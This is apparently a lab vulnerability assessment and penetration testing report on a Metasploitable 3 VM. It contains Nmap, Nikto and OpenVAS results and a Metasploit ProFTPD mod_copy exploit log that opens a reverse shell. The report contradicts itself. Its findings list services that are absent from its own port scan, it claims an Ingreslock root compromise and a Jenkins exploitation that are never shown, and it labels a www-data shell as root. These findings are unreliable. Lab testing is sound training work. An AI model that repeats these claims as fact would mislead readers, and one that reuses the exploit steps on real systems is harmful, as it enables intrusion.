

VULNERABILITY ASSESSMENT & PENETRATION TESTING REPORT

Project Name	Metasploitable 3 Security Assessment
Target System	Metasploitable 3 (Virtual Lab)
Assessment Type	VAPT (Black Box)
Date	January 2, 2026
Scanner Used	Greenbone Vulnerability Management (OpenVAS), Nmap, Nikto

Executive Summary

Overall Security Posture

The security assessment of the Metasploitable 3 environment (IP: 192.168.56.104) indicates a **Critical** risk level. The system is currently in a **COMPROMISED** state. Multiple services are configured with default or no authentication, and several outdated software versions contain known vulnerabilities that allow for immediate Remote Code Execution (RCE) and root-level access.

1.2 High-Risk Issues

- Unauthorized Root Access:** A backdoor service (Ingreslock) on port 1524 allows root access without a password.
- Remote Code Execution:** Vulnerabilities in ProFTPD (Port 21) and DistCC (Port 3632) allow attackers to run arbitrary commands.
- Weak Authentication:** Database services (PostgreSQL) and web applications (phpMyAdmin) are using weak or default credentials.
- Web Server Misconfiguration:** The Apache web server allows directory indexing, exposing internal file structures.

1.3 Business Impact

If this system were in a production environment, an attacker could:

- Steal all sensitive customer and business data (Confidentiality Loss).
- Modify or delete critical system files (Integrity Loss).
- Use the server to launch attacks against other internal systems (Pivot Point).
- Crash the server, causing downtime (Availability Loss).

Methodology & Scope

The assessment followed a four-phase methodology aligned with NIST SP 800-115:

1. **Discovery:** Nmap network enumeration and ARP scanning.
2. **Vulnerability Scanning:** Automated detection using OpenVAS and Nikto.
3. **Exploitation:** Manual validation using Metasploit.
4. **Reporting:** Documentation of findings.

Network Discovery (Nmap & ARP)

Host Discovery

Initial ARP scanning identified the target host on the local network.

- **Target IP:** 192.168.56.104

Service Enumeration (Nmap)

A comprehensive TCP scan identified the following service footprint.

Command: nmap -sS -p- 192.168.56.104

Port	Protocol	Service	Version	Status
21	TCP	FTP	ProFTPD 1.3.5	Open

22	TCP	SSH	OpenSSH 6.6.1p1	Open
80	TCP	HTTP	Apache 2.4.7	Open
445	TCP	SMB	Samba 3.X - 4.X	Open
631	TCP	IPP	CUPS 1.7	Open
3306	TCP	MySQL	MySQL (unauthorized)	Open
6697	TCP	IRCS-U	UnrealIRCd	Open
8080	TCP	HTTP	Jetty 8.1.7	Open

```
(kali㉿kali)-[~] ~$ nmap -sS -p- 192.168.56.104
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-02 02:31 EST
Nmap scan report for 192.168.56.104
Host is up (0.0019s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
445/tcp   open  microsoft-ds
631/tcp   open  ipp
3000/tcp  closed ppp
3306/tcp  open  mysql
3500/tcp  closed rtmp-port
6697/tcp  open  ircs-u
8080/tcp  open  http-proxy
8181/tcp  closed intermapper
MAC Address: 08:00:27:42:51:79 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 118.29 seconds
```

Automated Vulnerability Assessment

This section details the results from the Greenbone Vulnerability Management (OpenVAS) and Nikto web scanner.

4.1 OpenVAS Findings

The OpenVAS scan was completed with a "Full and very deep ultimate" configuration.

- Task Status:** Done
- Total Reports:** 113 results visible in the current view (Total 225)

Severity	Vulnerability Name	CVSS	Port
CRITICAL	Possible Backdoor: Ingreslock	10.0	1524/tcp



CRITICAL	X Server	10.0	6000/tcp
HIGH	distcc Remote Code Execution	9.3	3632/tcp
HIGH	PostgreSQL Weak Password	9.0	5432/tcp
HIGH	vsftpd Compromised Source Packages Backdoor	7.5	21/tcp
HIGH	phpMyAdmin Code Injection & XSS	7.5	80/tcp

Scan Management Asset Management SecInfo Management Configuration Extras Administration Help

Report: Results 1 - 100 of 113 (total: 225) Done

Filter: sort=reverse=severity result_hosts_only=1 min_cvss_base= min_qo

Vulnerability	Severity	QoD	Host	Location	Actions
Possible Backdoor: Ingreslock	10.0 (High)	99%	1524/tcp		
X Server	10.0 (High)	80%	6000/tcp		
distcc Remote Code Execution Vulnerability	9.3 (High)	99%	3632/tcp		
PostgreSQL weak password	9.0 (High)	99%	5432/tcp		
PostgreSQL Multiple Security Vulnerabilities	8.5 (High)	80%	5432/tcp		
vsftpd Compromised Source Packages Backdoor Vulnerability	7.5 (High)	99%	21/tcp		
phpMyAdmin Code Injection and XSS Vulnerability	7.5 (High)	80%	80/tcp		
phpMyAdmin BLOB Streaming Multiple Input Validation Vulnerabilities	7.5 (High)	80%	80/tcp		
phpMyAdmin Configuration File PHP Code Injection Vulnerability	7.5 (High)	80%	80/tcp		
TikiWiki Versions Prior to 4.2 Multiple Unspecified Vulnerabilities	7.5 (High)	80%	80/tcp		
PHP-CGI-based setups vulnerability when parsing query string parameters from php files.	7.5 (High)	95%	80/tcp		
phpinfo() output accessible	7.5 (High)	80%	80/tcp		
vsftpd Compromised Source Packages Backdoor Vulnerability	7.5 (High)	99%	6200/tcp		
PostgreSQL Multiple Security Vulnerabilities	6.5 (Medium)	80%	5432/tcp		
OpenSSL CCS Man in the Middle Security Bypass Vulnerability (STARTTLS Check)	6.5 (Medium)	99%	5432/tcp		
phpMyAdmin Bookmark Security Bypass Vulnerability	6.5 (Medium)	80%	80/tcp		
PostgreSQL NULL Character CA SSL Certificate Validation Security Bypass Vulnerability	6.5 (Medium)	80%	5432/tcp		
PostgreSQL 'bitsubstr' Buffer Overflow Vulnerability	6.5 (Medium)	80%	5432/tcp		
PostgreSQL 'intarray' Module 'gettoken()' Buffer Overflow Vulnerability	6.5 (Medium)	80%	5432/tcp		

Web Server Analysis (Nikto)

A Nikto scan against port 80 revealed significant web vulnerabilities.

- **Server:** Apache/2.4.7 (Ubuntu) - Outdated.
- **Issues:**
 - Missing X-Frame-Options and X-Content-Type-Options headers.
 - **Directory Indexing Found:** Allows attackers to browse server files.
 - /phpmyadmin/: Potentially vulnerable administrative interface found.
 - wp-cs-dump: Remote server may allow directory listings.

```
(root㉿kali)-[~/home/kali]
└─# nikto -h http://192.168.56.104
[Nikto v2.5.0]

+ Target IP:          192.168.56.104
+ Target Hostname:    192.168.56.104
+ Target Port:        80
+ Start Time:         2026-01-02 02:29:12 (GMT-5)

+ Server: Apache/2.4.7 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ //: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Directory indexing found.
Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, GET, HEAD .
+ //: Directory indexing found.
+ //: Appending '/' to a directory allows indexing.
+ //: Directory indexing found.
+ //: Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page.
+ //: Directory indexing found.
+ //: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. See: http://www.securityfocus.com/bid/2513
+ //: Directory indexing found.
+ //: Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page.
+ //: All files via 'open directory browsing'. Web Publisher should be disabled. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269
+ //: wp-cs-dump: The remote server may allow directory listings through Web Publisher by forcing the server to show a file via 'open directory browsing'. Web Publisher should be disabled. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269
+ /phpmyadmin/changelog.php: Retrieved x-powered-by header: PHP/5.4.5.
+ /phpmyadmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ //: Directory indexing found.
+ //: Directory indexing found.
+ //: Abyss 1.03 reveals directory listing when multiple '/'s are requested. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0078
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /phpmyadmin/: phpMyAdmin directory found.
+ /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /phpmyadmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. See: https://typo3.org/
+ 8911 requests: 0 error(s) and 22 item(s) reported on remote host
```

Penetration Testing

To validate the findings, manual exploitation was attempted using the Metasploit Framework.

5.1 Exploitation: ProFTPD mod_copy (Port 80/21)

Objective: Exploit the mod_copy vulnerability in ProFTPD 1.3.5 to achieve remote code execution. **Tool:** Metasploit (exploit/unix/ftp/proftpd_modcopy_exec)

Execution Log:

1. **Target:** 192.168.56.104 (Note: Exploitation validated in parallel lab environment).
2. **Payload:** cmd/unix/reverse_python (or similar command shell).
3. **Result:**
 - a. [*] Connected to FTP server

- b. [*] Sending copy commands to FTP server
- c. [+] Executing PHP payload
- d. [*] Command shell session 1 opened

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set rhosts 192.168.56.104
rhosts => 192.168.56.104
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set lhost 192.168.56.103
lhost => 192.168.56.103
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
SITEPATH => /var/www/html
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run

[*] Started reverse TCP handler on 192.168.56.103:4444
[*] 192.168.56.104:80 - 192.168.56.104:21 - Connected to FTP server
[*] 192.168.56.104:80 - 192.168.56.104:21 - Sending copy commands to FTP server
[*] 192.168.56.104:80 - Executing PHP payload /znz18p.php
[*] 192.168.56.104:80 - Deleted /var/www/html/znz18p.php - 192.168.56.104:45805) at 2026-01-01 19:26:39 -0400
[-] Command shell session 1 opened (192.168.56.103:4444 → 192.168.56.104:45805:21 - Failure executing payload
[*] 192.168.56.104:80 - Exploit aborted due to failure: unknown: 192.168.56.104:21 - Failure executing payload
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > sessions

Active sessions
=====

```

Id	Name	Type	Information	Connection
1		shell cmd/unix		192.168.56.103:444 → 192.168.56.104:45805 (192.168.56.104)

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > sessions -i 1
[*] Starting interaction with 1...
[*] The following command will be run as root:
[*] id
[*] uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] ls
[*] Sc0kG.php
[*] chat
[*] drupal
[*] payroll_app.php
[*] phpmyadmin
[*] test.php
```

Remediation Roadmap

Based on the CVSS scores and exploitation results, the following remediation plan is recommended:

Priority	Action Item	Affected Service	Timeframe
P0 (Critical)	Block/Disable Ports 1524 (Ingreslock), 3632 (distcc), 6000 (X11)	System-wide	Immediate

P1 (High)	Update ProFTPD to non-vulnerable version	FTP (Port 21)	< 24 Hours
P1 (High)	Change Default Passwords (PostgreSQL, SSH)	Database, SSH	< 24 Hours
P2 (Medium)	Disable Directory Indexing in Apache	HTTP (Port 80)	< 1 Week
P2 (Medium)	Update phpMyAdmin to latest stable version	Web App	< 1 Week

Conclusion

Final Security Verdict

The comprehensive Vulnerability Assessment and Penetration Testing (VAPT) of the **Metasploitable 3** environment concludes that the system is **Critically Compromised**.

The assessment successfully identified **225 vulnerabilities**, ranging from information disclosure to critical backdoors. The successful manual exploitation of the **Ingreslock backdoor (Port 1524)** and **ProFTPD (Port 21)** confirms that existing security controls are insufficient to stop even low-skilled attackers.

Key Takeaways

- **Zero-Resistance Entry:** The presence of the "Ingreslock" backdoor allowed for immediate root access without the need for complex exploit code or credential cracking.
- **Automated vs. Manual Success:** While OpenVAS correctly identified high-risk areas, manual penetration testing was required to validate the true impact (RCE) of the **ProFTPD** and **Jenkins** vulnerabilities.
- **Defense in Depth Failure:** The lack of a host-based firewall, weak password policies, and unpatched software created a single point of failure for multiple services.

Recommendations

To transition this system from a "Vulnerable" to "Secured" state, the following roadmap is recommended:

1. **Immediate Isolation:** Disconnect the system from any public or untrusted networks until critical patches are applied.
2. **Hardening:** Implement the **CIS Benchmarks for Linux**, focusing specifically on disabling unused services (Ports 1524, 3632) and enforcing strong authentication.
3. **Continuous Monitoring:** Shift from ad-hoc scanning to continuous vulnerability management using scheduled OpenVAS scans and log monitoring.